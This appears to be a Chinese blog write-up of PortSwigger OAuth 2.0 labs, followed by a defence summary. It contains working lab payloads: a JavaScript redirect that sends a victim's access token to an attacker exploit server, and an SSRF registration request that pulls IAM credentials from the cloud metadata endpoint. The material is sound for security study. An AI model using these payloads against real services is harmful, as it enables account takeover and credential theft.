OAuth2-0协议安全学习

news2024/11/17 5:44:03

有一个问题困扰了很久很久,翻来覆去无法入眠,那就是OAuth2.0有什么安全问题啊

OAuth2.0是一种常用的授权框架,它使网站和 Web 应用程序能够请求对另一个应用程序上的用户帐户进行有限访问,在全世界都有广泛运用

OAuth2.0简介

OAuth2.0是什么

OAuth2.0是授权的工业标准协议,该协议允许第三方应用程序对于服务的有限访问,例如常见的第三方登录就基于此协议

OAuth2.0应用情景

OAuth2.0常被应用于以下情景

•应用于第三方应用登录,将受保护的用户资源授权给第三方信任用户,从而避免二次登录造成泄密

•应用于多服务场景中,用于服务的统一登陆认证,对内部系统之间的资源请求进行权限管理

•应用于开发平台场景中,对系统敏感资源进行安全认证和保护

密码与OAuth2.0

•密码与令牌(token)的作用是一样的,但令牌有其特点

–用户无法自己修改

–且一般来说token是短期的

–可以被所有者撤销

–token的权限一般是有限制的,而对于密码而言,其权限一般是完整权限

•基于以上设计,OAuth2.0协议即可保证可以使得第三方应用获得权限使用,但又随时处于可控,这就是OAuth2.0的优点所在

OAuth2.0运行流程和授权模式

首先了解一下大概结构

Client: 第三方应用
Resource Owner: 资源所有者
Authorization Server: 授权服务器
Resource Server: 拥有资源信息的服务器

以下即为运行过程

OAuth的授权模式有四种

•授权码模式|authorization code

•简化模式|implicit

•密码模式|resource owner password credentials

•客户端模式|client credentials

在请求中一般存在response_type一类的参数,根据授权模式的不同,参数内容也会不同,这就是我们判断不同授权模式的重要依据

详情可见

https://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html

四种授权模式,安全问题大多在authorization code模式和implicit模式发生,我们也可以对此着重了解

OAuth2.0安全问题分析

为什么出现问题

OAuth2.0的授权认证流程大部分情况下是没有问题的,但他缺少内置的安全功能,认证是否安全几乎完全取决于使用者的正确配置,例如是否对token进行数据绑定、是否对数据本身进行加密等,而且不同的授权方法有不同的1特点,而根据授权类型,即使是高度敏感的数据都会被通过浏览器发送,给了攻击者各种拦截数据的机会

怎么判断是否使用OAuth2.0认证方法

主要可以通过两点判断

•对数据进行抓包,基本所有的认证请求都是自/authorization开始,并且携带了类似于Client_id、redirect_uri等标志参数

•是否可以使用第三方应用进行登录,如若可以,基都是采取OAuth2.0认证

授权服务器认证绕过

当我们完成登录获取第三方资源时,是通过一个用户邮箱、ID进行识别,但如果第三方资源授权没有对此进行合理的认证,就有可能绕过授权服务器认证

•靶场

Lab: Authentication bypass via OAuth implicit flow

•解法

进行抓包,查看数据包的交互流程,在/authorization看到有邮箱、ID返回认证

可以尝试修改email和username

Forward发送,发现token并没有进行内容绑定,成功login

CSRF关联账号

造成这个安全问题的主要原因是对OAuth组件的配置错误,比如state参数

这个参数可以类比于CSRF令牌token,一般是作为与会话信息相关联的一个hash值,作为客户端与服务端之间通信的token令牌,而当配置出现问题,攻击者就可以将受害者第三方登录信息绑定到自己的账号实现CSRF

•靶场

Lab: Forced OAuth profile linking

•解法

我们先正常登录

点击绑定social profile,对social media认证页面进行抓包,得到令牌code

我们可以先直接带上访问一下试试

这是因为我们还没有实现绑定登录,我们现在要做的就是让管理员登录时带上的是我们的code,这样我们就可以成功劫持管理员账号

我们重新抓取一个包拿到code,得到code后drop掉不让他成功登录认证

然后进入exploit修改body

发送给受害者,而后重新登录social media

成功登录admin

删掉carlos用户即可

CSRF获取敏感信息

我们正常登录认证后需要从认证页面重定向回到原本的页面,这里起到作用的就是redirect_uri参数,这是一个很合理的设计,但如果redirect_uri重定向回来的是其他地方,比如我们的攻击服务器,那么我们是不是可以窃取到一些敏感信息,例如我们上一道题登录admin用到的code

与上一题不同的点在于,前者是攻击者生成了token让admin绑定,这里是让admin生成token攻击者拿到去进行绑定

•靶场

Lab: OAuth account hijacking via redirect_uri

•解法

我们抓包可以看到很多个参数,返回的response有个重定向回到原本的登陆页面

我们可以先简单测试一下,把redirect_uri参数换成我们的攻击服务器

访问抓包

callback

可以看到host变成了我们的攻击服务器,这就是问题所在

我们进入exploit修改body

修改redirect_uri重定向回我们的exploit,store存储一下,然后view exploit预览一下

确认可以后发送给受害者,然后查看log,可以看到就能窃取到code

然后根据包的发送流程,将code进行修改callback回去

 https://0a9f002504223c0dc09209d200340068.web-security-academy.net/oauth-callback?code=FXCVQ2aBY087fAtUfkhq_hoW6Iifug0OlkGcHO31Do6

成功登录admin,删除用户就行

通过开放重定向获取敏感信息

与上一道类似,但是这里加入了对重定向redirect_uri参数的检测,限制url为client app,这时候可以通过在client app中寻找open redirect漏洞,再搭配CSRF得到code实现越权

•靶场

Lab: Stealing OAuth access tokens via an open redirect

•解法

抓包然后查找apikey,发现在/me路径,放入repeater

测试redirect_uri,发现是以白名单进行验证,无法以外域作为重定向提供,同时发现存在目录遍历漏洞

进行寻找漏洞利用点,发现每个blog下方均有一个post点,易受目录遍历,选择进行测试

抓包放入repeater中测试,发现可以重定向到外域,这样我们就可以利用1这个重定向到我们的攻击服务器,进行敏感数据的窃取

我们修改url重定向回exploit

 https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit&response_type=token&nonce=399721827&scope=openid%20profile%20email

进行访问,成功返回hello,world

这样我们就可以编写script,让admin登录从而泄露token

  if (!document.location.hash) {
        window.location = 'https://YOUR-LAB-AUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email'
    } else {
        window.location = '/?'+document.location.hash.substr(1)
    }

发送给受害者后进入access log,得到access_token

将access_token替换到/me路径的Authorization: Bearer标头中的token

发送即可得到apikey,提交即可

危险传递、使用某些特定数据

当OAuth存在专用注册端点来运行客户端自行注册,而OAuth服务又以一种不安全的方式来传递、使用某些特定于客户端的数据,就可能存在SSRF漏洞,出现密钥的泄露

【——全网最全的网络安全学习资料包分享给爱学习的你,关注我,私信回复“资料领取”获取——】

1.网络安全多个方向学习路线

2.全网最全的CTF入门学习资料

3.一线大佬实战经验分享笔记

4.网安大厂面试题合集

5.红蓝对抗实战技术秘籍

6.网络安全基础入门、Linux、web安全、渗透测试方面视频

•靶场

Lab: SSRF via OpenID dynamic client registration

•解法

首先我们需要了解的是在OAuth服务开发中,存在这样一类文件

 /.well-known/openid-configuration(类似的url还有/.well-known/oauth-authorization-server和/.well-known/jwks.json)

他们存储着一些相关的配置

我们尝试访问

https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/.well-known/openid-configuration

可以发现/reg是注册点,我们可以在repeater中创建一个post请求向OAuth请求注册,而这其中必须提供至少一个redirect_uris数组

传参后我们可以看到服务器给我们返回了client_id和一系列数据

我们继续翻看配置参数,其中最有可能存在SSRF的url参数就是logo_uri

我们可以进行尝试,启动Burp Collaborator client

 POST /reg HTTP/1.1
Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net
Content-Type: application/json


{
    "redirect_uris" : [
        "https://example.com"
    ],
    "logo_uri" : "https://BURP-COLLABORATOR-SUBDOMAIN"
}

发现可以成功携带数据

当我们拿着生成的client_id去访问的时候我们也可以发现确实会携带出一些特殊数据

/client/CLIENT-ID/logo

那当我们修改logo_uri为其他url时,我们就可以携带出我们想要的东西了,而题目已经给出了攻击服务器的url,我们替换一下

 POST /reg HTTP/1.1
Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net
Content-Type: application/json


{
    "redirect_uris" : [
        "https://example.com"
    ],
    "logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}

得到key

防御总结

•使用白名单检验redirect_url参数

•检验state参数是否存在

•ccess token和client_id是否匹配,同时验证access token的访问范围

•修复client端的开放重定向漏洞,防止auth code的泄露

参考文章

•https://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html

•https://kuron3k0.github.io/2021/01/12/oauth-security/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2052830.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

pygame开发课程系列(6): 游戏优化与发布

第六章 游戏优化与发布 在游戏开发过程中,优化性能和正确发布是至关重要的步骤。本章将探讨如何提升游戏性能,以及如何将游戏打包成独立的可执行文件,以便于分发和使用。 6.1 性能优化 优化游戏性能可以提升用户体验,确保游戏…

非标零部件加工:满足个性化需求的关键

在现代制造业中,非标零部件加工正逐渐成为满足个性化需求的关键环节。随着各行各业对产品独特性和定制化的要求不断提高,传统的标准零部件已经无法完全满足市场的多样化需求。时利和将分享关于非标零部件加工是如何满足个性化需求的。 非标零部件加工的核…

如何恢复火狐浏览器中丢失的书签记录?

如何恢复火狐浏览器中丢失的书签记录? 在数字时代,网络浏览器不仅是获取信息的窗口,更承载着个人习惯与数据,火狐浏览器(Firefox)以其强大的自定义功能和对用户隐私的重视而广受欢迎,书签的丢失…

资深研发的心愿:PostgreSQL未来若能加入这些功能,将更臻完善

我们已经与 PostgreSQL 和其他数据库一起工作了一段时间。在数据库管理领域,PostgreSQL 以其稳健性和灵活性脱颖而出。然而,随着开发人员在现代应用程序开发的复杂性中航行,还有一些额外功能可以简化他们的工作流。以下是我希望 PostgreSQL 具…

18Canvas 组件

18 Canvas 组件 Tkinter 的 Canvas 组件是一个灵活的绘图区域,允许我们在其中绘制图形、文本和图像。它支持各种绘图操作,如画线、画矩形、画圆形等。 Canvas 组件属性 width 和 height: Canvas的宽度和高度,可以是像素值或以字符为单位。…

【C++】unordered_set和unordered_map的封装(哈希)

🌈个人主页:秦jh_-CSDN博客🔥 系列专栏:https://blog.csdn.net/qinjh_/category_12575764.html?spm1001.2014.3001.5482 ​ 目录 key和pair 仿函数hash 迭代器 operator HashTable.h my_unordered_map.h my_unordered_se…

【自动驾驶】控制算法(一)绪论与前期准备

写在前面: 🌟 欢迎光临 清流君 的博客小天地,这里是我分享技术与心得的温馨角落。📝 个人主页:清流君_CSDN博客,期待与您一同探索 移动机器人 领域的无限可能。 🔍 本文系 清流君 原创之作&…

白盒测试-发送请求

发送请求-怎么操作? 先创建发送请求对象mockmvc--用mockmvc对象发送请求(包含请求url,请求头,请求参数等) 用到的源码是mockmvc源码--其中perform方法,他的入参是接口类 用mockmvc对象发送请求,代码是mock…

【机器学习第11章——特征选择与稀疏学习】

机器学习第11章——特征选择与稀疏学习 11.特征选择与稀疏学习11.1子集搜索与评价子集搜索子集评价 11.2 过滤式选择11.3 包裹式选择11.4 嵌入式选择11.5 稀疏表示与字典学习稀疏表示字典学习 11.6 压缩感知 11.特征选择与稀疏学习 11.1子集搜索与评价 特征:描述物…

全国计算机二级Python学习笔记

格式化操作符辅助指令: 格式化输出16进制,十进制,八进制整数 %x — hex 十六进制 %d — dec 十进制 %o — oct 八进制 turtle.setup()函数用于启动一个图形窗口,它有四个参数 turtle.setup(width, height, startx, starty) 分别是&…

kali实用工具之ettercap

ettercap最初是交换局域网的嗅探器,但在开发的过程中,它获得了越来越多的功能,从而使其转变为强大而灵活的中间人攻击工具。它支持许多协议(甚至是加密协议)的主动和被动解剖,并包括许多用于网络和主机分析…

Unity音频管理器插件AudioToolKit

Unity音频管理器插件AudioToolKit 介绍AudioToolKit介绍具体用法总结 介绍 最近在自己写音频管理器的时候在网上发现了一款比较好用并且功能很全的一个音频管理插件,叫做AudioToolKit的插件。 如果需要的可以直接从我资源中找AudioToolKit。 AudioToolKit介绍 A…

助农扶贫小程序的设计

管理员账户功能包括:系统首页,个人中心,用户管理,商品信息管理,订单信息管理,订单配送管理,商品评价管理,商品退货管理,管理员管理 微信端账号功能包括:系统…

Flink消费Kafka数据积压排查解决

0、背景 有个Flink任务每天不定时会出现数据积压,无论是白天还是数据量很少的夜里,且积压的数据量会越来越多,得不到缓解,只能每日在积压告警后重启,重启之后消费能力一点毛病没有,积压迅速缓解&#xff0…

性能测试常见面试问题汇总

性能测试是什么? 答:性能测试是评估系统或应用程序在不同负载条件下的表现的过程。它可以帮助我们确定系统在正常使用期间所需的资源,并找出系统在何时无法满足用户需求的瓶颈。 性能测试包括哪些方面? 答:性能测试包括…

计算中间件平台之Linkis

Linkis 是由WeBank自主研发的一款面向大数据和AI的计算中间件平台。它的设计初衷是为了简化和统一各种计算引擎的调用和管理,降低使用大数据和AI技术的门槛。Linkis可以帮助用户在一个平台上方便地调用各种数据处理引擎,如Hadoop、Spark、Hive、Flink等&…

bridge资产导入blender错误 显示bidge Could not send data over port 28888

bridge资产导入blender错误 显示bidge Could not send data over port 28888 解决办法 1.在Quixel bridge里点击Edit找到Manage Plugins下载blender插件 我的显示已经下载好了 2.在Quixel bridge里点击Edit找到Settings找到插件保存路径 3.在路径里找到E:\Documents\Mega…

HTML5服装电商网上商城模板源码

文章目录 1.设计来源1.1 主界面1.2 购物车界面1.3 电子产品界面1.4 商品详情界面1.5 联系我们界面1.6 各种标签演示界面 2.效果和源码2.1 动态效果2.2 源代码 源码下载万套模板,程序开发,在线开发,在线沟通 【博主推荐】:前些天发…

STM32——I2C协议以及软件读写

I2C协议中SCL用于同布,当某一方发送/接收数据时,另一方将会发应答表示数据已收到。 一主多从:类似于老师是主在讲课,学生是从机,只有老师点名学生才能应答,否则不能自己应答。 之后是硬件电路的设置 对于…

【ACL2024】面向Stable Station的交互式多轮Prompt生成模型DiffChat

近日,阿里云人工智能平台PAI与华南理工大学金连文教授团队合作,在自然语言处理顶级会议 ACL 2024 上发表论文《DiffChat: Learning to Chat with Text-to-Image Synthesis Models for Interactive Image Creation. ACL 2024》。DiffChat算法是一个文到文…